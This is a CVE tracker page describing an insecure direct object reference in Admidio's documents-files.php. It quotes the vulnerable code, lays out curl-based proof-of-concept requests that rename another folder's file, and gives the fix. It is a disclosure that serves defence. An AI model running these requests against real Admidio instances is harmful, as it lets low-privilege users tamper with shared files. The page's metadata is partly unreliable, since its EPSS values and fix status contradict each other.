CVE-2026-47230

MEDIUMPre-NVD 6.56.5
EchelonGraph scoreLOW confidence

This medium-severity CVE scores 6.5 under the CNA's CVSS (NVD's own analysis pending). EPSS exploit probability: 0.0%, top 91% of all CVEs by exploit prediction. GitHub Security Advisory data not yet ingested — confidence will rise once GHSA publishes (typical lag: hours to days for open-source ecosystem CVEs; never for infrastructure-only CVEs).

Triggered by: NVD CVSS baseline
Sources: cna:github_m, epss
6.5
EchelonGraph verdictMonitorLow exploitation likelihood right now — keep watching.
  • Lower severity and no public exploit yet
CISA-KEV: Not listedEPSS: 0%CVSS: 6.5Exploit: NoneExposed: 0

No vendor fix yet — apply a workaround or compensating control (WAF / firewall / segmentation) and watch for a patch.

Admidio: IDOR in documents-files.php allows cross-folder file rename and description changes by unauthorized uploaders

Summary

modules/documents-files.php mode file_rename_save shares the same root-cause shape as the cross-folder move bug (05-documents-cross-folder-move-idor.md): the top-level rights check at lines 79-89 validates hasUploadRight() on the URL parameter folder_uuid, but the rename operation acts on file_uuid — a separate URL parameter — without re-checking the folder that actually contains the file. DocumentsService::renameFile() resolves the target file via getFileForDownload() (which permits view-readable files) but does not require upload right on the file's source folder. Result: a user with upload right on any folder A can rename a file in folder B as long as they can view it. They can also overwrite the file's description.

Details

Vulnerable Code

modules/documents-files.php:79-89 — top-level check binds to URL folder_uuid:

if ($getMode != 'list' && $getMode != 'download') {
    $folder = new Folder($gDb);
    $folder->getFolderForDownload($getFolderUUID);
    if (!$folder->hasUploadRight()) {
        $gMessage->show($gL10n->get('SYS_NO_RIGHTS'));
    }
}

src/Documents/Service/DocumentsService.php:272-315renameFile() resolves the file via getFileForDownload() (view-only) and never re-verifies upload right on the file's parent:

public function renameFile(string $fileUUID, string $newName, string $newDescription): array
{
    $file = new File($this->db);
    $file->getFileForDownload($fileUUID);                          // <-- view rights, not upload
    ...
    $oldFile = $file->getFullFilePath();
    $newFile = $newName . '.' . pathinfo($oldFile, PATHINFO_EXTENSION);
    $newPath = pathinfo($oldFile, PATHINFO_DIRNAME) . '/';
    FileSystemUtils::moveFile($oldFile, $newPath . $newFile);

$file->setValue('fil_name', $newFile); $file->setValue('fil_description', $newDescription); $file->save(); ... }

getFileForDownload() enforces only the *download* (read) ACL on the file's folder. There is no hasUploadRight() check anywhere in the rename path. The actual file remains in its original folder; only its name and description change. This means the modified metadata is visible to every other user who legitimately has download rights on that folder, while the modification itself was performed by a user who has no edit right on it.

Exploitation Primitive

  • Attacker user lowuser holds folder_upload on public_uploadable (UUID c41a99c0-…). They have *view* (download) rights on view_only_public (UUID 21b417e2-…, fol_public=1) but no upload/edit right there. The folder contains admin_announcement.txt (UUID aaae5edd-…).
  • Render the rename form with a folder_uuid of a folder lowuser CAN upload to and a file_uuid of the target file:
GET /modules/documents-files.php?mode=file_rename&folder_uuid=c41a99c0-…&file_uuid=aaae5edd-… The top-level rights check at line 85 sees the public-uploadable folder and passes.
  • Submit rename:
POST /modules/documents-files.php?mode=file_rename_save&folder_uuid=c41a99c0-…&file_uuid=aaae5edd-… with adm_csrf_token=, adm_new_name=hijacked_announcement, adm_new_description=Hijacked!. Server replies {"status":"success"}. adm_files: fil_fol_id=7 (still the original view_only_public), fil_name='hijacked_announcement.txt', fil_description='Hijacked!'. On disk: admin_announcement.txt is renamed to hijacked_announcement.txt in its original folder.

PoC

Captured live against HEAD c5cde53 (mariadb on 127.0.0.1:3399, php on 127.0.0.1:8085):

$ curl -sb $cookie \
    "http://127.0.0.1:8085/modules/documents-files.php?mode=file_rename&folder_uuid=c41a99c0-…&file_uuid=aaae5edd-…"

form rendered, CSRF token X added to session

$ curl -sb $cookie -X POST \ "http://127.0.0.1:8085/modules/documents-files.php?mode=file_rename_save&folder_uuid=c41a99c0-…&file_uuid=aaae5edd-…" \ -d "adm_csrf_token=X&adm_new_name=hijacked_announcement&adm_new_description=Hijacked%21" {"status":"success", …}

$ mariadb -h 127.0.0.1 -P 3399 -u admidio -p… admidio \ -e "SELECT fil_fol_id, fil_name, fil_description FROM adm_files WHERE fil_uuid='aaae5edd-…';" fil_fol_id fil_name fil_description 7 hijacked_announcement.txt Hijacked!

The folder ID fil_fol_id=7 is view_only_public — the folder that lowuser had no upload right on. The change was applied as if lowuser were authorised.

Impact

A user with the most basic Documents permission — upload to a single folder — can rename and overwrite descriptions of files in any other folder they can read. Confidentiality is unaffected (the actor already had download rights on the affected files), but integrity is broken across folder boundaries. Concretely:

* Defacement of public announcements / policies / circulars. A regular member can replace admin_announcement.txt with hijacked_announcement.txt and a description that misrepresents the content. Other readers see the malicious metadata. * Renaming-to-confuse. Files can be renamed to identifiers that imply different content (board_minutes_2025-Q4.pdfboard_minutes_DRAFT-do-not-distribute.pdf). * Description-as-XSS-vector (downstream): if any view path treats fil_description as raw HTML, this becomes a stored XSS by a low-privilege user; absent that, it is plain content tampering.

The CVSS reflects: PR:L (uploader on any folder), S:U (stays inside Admidio's authorisation model), C:N because the actor already had read access, I:H because the file's identity is changed for every other reader, A:N because files are not deleted.

Recommended Fix

DocumentsService::renameFile() must check upload right on the file's source folder before mutating it:

// src/Documents/Service/DocumentsService.php
public function renameFile(string $fileUUID, string $newName, string $newDescription): array
{
    $file = new File($this->db);
    $file->getFileForDownload($fileUUID);

// verify the current user has upload (write) right on the file's parent folder, // not just download right (which getFileForDownload enforces) $sourceFolder = new Folder($this->db); $sourceFolder->readData($file->getValue('fil_fol_id')); if (!$sourceFolder->hasUploadRight()) { throw new Exception('SYS_NO_RIGHTS'); } ... }

Equivalently, in modules/documents-files.php case 'file_rename_save', resolve the file's parent folder and check hasUploadRight() against it before calling the service. The same fix should be applied to other documents-files modes that take a file_uuid independently of folder_uuid.

Related

This bug shares its root cause with 05-documents-cross-folder-move-idor.md — both flow from the top-level rights check at lines 79-89 binding to URL folder_uuid rather than the actual file's parent. A single fix to enforce source-folder upload right inside File::moveToFolder() and DocumentsService::renameFile() (and any other operations on file_uuid) closes both.

CVSS v3
6.5
EG Score
6.5(low)
EPSS
9.0%
KEV
Not listed

Published

May 29, 2026

Last Modified

May 29, 2026

Vendor Advisories for CVE-2026-47230(1)

These vendors published their own advisory mentioning this CVE — often with vendor-specific remediation steps + affected product lists not in NVD.

Affected Packages

(1 across 1 ecosystem)
Packagist(1)
PackageVulnerable rangeFixed inDependents
admidio/admidio4.1.0 ... v5.0.9 (55 versions)5.0.10

Data Freshness Timeline

(refreshed 3× in last 7d / 14× in last 30d)

Each row is a source pipeline that fetched or updated this CVE on that date, with what changed. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. Most recent first.

  1. 2026-07-16 01:46 UTCEG score recompute
  2. 2026-07-14 13:51 UTCEG score recompute
  3. 2026-07-11 16:58 UTCEG score recompute
  4. 2026-07-08 17:15 UTCEG score recompute
  5. 2026-07-02 04:07 UTCEG score recompute
  6. 2026-07-01 01:45 UTCEG score recompute
  7. 2026-06-29 23:22 UTCEG score recompute
  8. 2026-06-28 20:56 UTCEG score recompute
  9. 2026-06-27 18:34 UTCEG score recompute
  10. 2026-06-26 16:10 UTCEG score recompute
  11. 2026-06-25 06:19 UTCEG score recompute
  12. 2026-06-24 02:46 UTCEG score recompute
  13. 2026-06-18 22:21 UTCEG score recompute
  14. 2026-06-17 14:14 UTCEG score recompute
  15. 2026-06-16 11:44 UTCEG score recompute
  16. 2026-06-15 09:21 UTCEG score recompute
  17. 2026-06-14 23:18 UTCEPSS rescore
  18. 2026-06-14 06:14 UTCEG score recompute
  19. 2026-06-13 23:00 UTCEPSS rescore
  20. 2026-06-13 03:50 UTCEG score recompute
  21. 2026-06-12 23:12 UTCEPSS rescore
  22. 2026-06-12 01:28 UTCEG score recompute
  23. 2026-06-10 23:06 UTCEG score recompute
  24. 2026-06-09 20:44 UTCEG score recompute
  25. 2026-06-08 18:22 UTCEG score recompute
Show 8 more
  1. 2026-06-07 14:53 UTCEG score recompute
  2. 2026-06-06 12:31 UTCEG score recompute
  3. 2026-06-05 10:08 UTCEG score recompute
  4. 2026-06-04 07:47 UTCEG score recompute
  5. 2026-06-03 05:25 UTCEG score recompute
  6. 2026-06-02 03:03 UTCEG score recompute
  7. 2026-06-01 00:41 UTCEG score recompute
  8. 2026-05-29 22:26 UTCEG score recompute

Frequently asked(5)

What is CVE-2026-47230?
CVE-2026-47230 is a medium vulnerability published on May 29, 2026. Admidio: IDOR in documents-files.php allows cross-folder file rename and description changes by unauthorized uploaders Summary modules/documents-files.php mode filerenamesave shares the same root-cause shape as the cross-folder move bug (05-documents-cross-folder-move-idor.md): the top-level rights…
When was CVE-2026-47230 disclosed?
CVE-2026-47230 was first published in the National Vulnerability Database on May 29, 2026. EchelonGraph re-ingests CVE updates from NVD on a 2-hour cycle, so this page reflects the latest published state.
Is CVE-2026-47230 actively exploited?
CVE-2026-47230 is not currently on CISA's Known Exploited Vulnerabilities catalog. FIRST EPSS estimates a 9.0% percentile likelihood of exploitation in the next 30 days — higher percentiles indicate greater predicted risk.
What is the CVSS score of CVE-2026-47230?
CVE-2026-47230 has a CVSS v4.0 base score of 6.5 (CNA self-assessment; NVD's own analysis pending). The EG score is currently aggregating — additional source signals are being incorporated as they become available..
How do I remediate CVE-2026-47230?
Patch to the fixed version published by the affected vendor. Where vendor advisories exist for CVE-2026-47230, EchelonGraph cross-links them in the Vendor Advisories panel below — those typically contain the canonical remediation steps, fixed version numbers, and any vendor-specific mitigations.

Dependency Blast Radius

See which npm, PyPI, Go, and Maven packages are affected by CVE-2026-47230

Explore →

Is Your Infrastructure Affected by CVE-2026-47230?

EchelonGraph automatically scans your cloud infrastructure and maps CVE exposure using blast radius analysis.